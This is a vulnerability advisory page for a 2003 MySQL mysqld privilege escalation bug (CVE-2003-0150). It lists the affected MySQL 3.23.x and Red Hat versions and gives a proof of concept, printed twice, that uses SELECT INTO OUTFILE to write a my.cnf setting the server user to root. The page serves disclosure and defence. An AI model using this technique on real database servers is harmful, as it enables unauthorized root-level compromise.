MySQL mysqld Privilege Escalation Vulnerability
BID:7052
Info
MySQL mysqld Privilege Escalation Vulnerability
| Bugtraq ID: | 7052 |
| Class: | Configuration Error |
| CVE: |
CVE-2003-0150 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 08 2003 12:00AM |
| Updated: | Jul 12 2009 05:56PM |
| Credit: | Discovery of this vulnerability credited to [email protected]. |
| Vulnerable: |
Redhat Enterprise Linux WS 2.1 IA64 Redhat Enterprise Linux WS 2.1 Redhat Enterprise Linux ES 2.1 IA64 Redhat Enterprise Linux ES 2.1 Redhat Enterprise Linux AS 2.1 IA64 Redhat Enterprise Linux AS 2.1 Redhat Advanced Workstation for the Itanium Processor 2.1 MySQL AB MySQL 3.23.55 MySQL AB MySQL 3.23.54 a MySQL AB MySQL 3.23.54 MySQL AB MySQL 3.23.53 a MySQL AB MySQL 3.23.53 MySQL AB MySQL 3.23.52 MySQL AB MySQL 3.23.51 MySQL AB MySQL 3.23.50 MySQL AB MySQL 3.23.49 MySQL AB MySQL 3.23.48 MySQL AB MySQL 3.23.47 MySQL AB MySQL 3.23.46 MySQL AB MySQL 3.23.45 MySQL AB MySQL 3.23.44 MySQL AB MySQL 3.23.43 MySQL AB MySQL 3.23.42 MySQL AB MySQL 3.23.41 MySQL AB MySQL 3.23.40 MySQL AB MySQL 3.23.39 MySQL AB MySQL 3.23.38 MySQL AB MySQL 3.23.37 MySQL AB MySQL 3.23.36 |
| Not Vulnerable: |
MySQL AB MySQL 3.23.56 |
Exploit / POC
MySQL mysqld Privilege Escalation Vulnerability
The following proof of concept was provided:
mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
The following proof of concept was provided:
mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
References
MySQL mysqld Privilege Escalation Vulnerability
References:
References:
- MySQL Homepage (Oracle)
- RHSA-2003-094 (Red Hat)
- MySQL user can be changed to root (=?iso-8859-1?Q??= [email protected]
- Re: MySQL user can be changed to root (Sergei Golubchik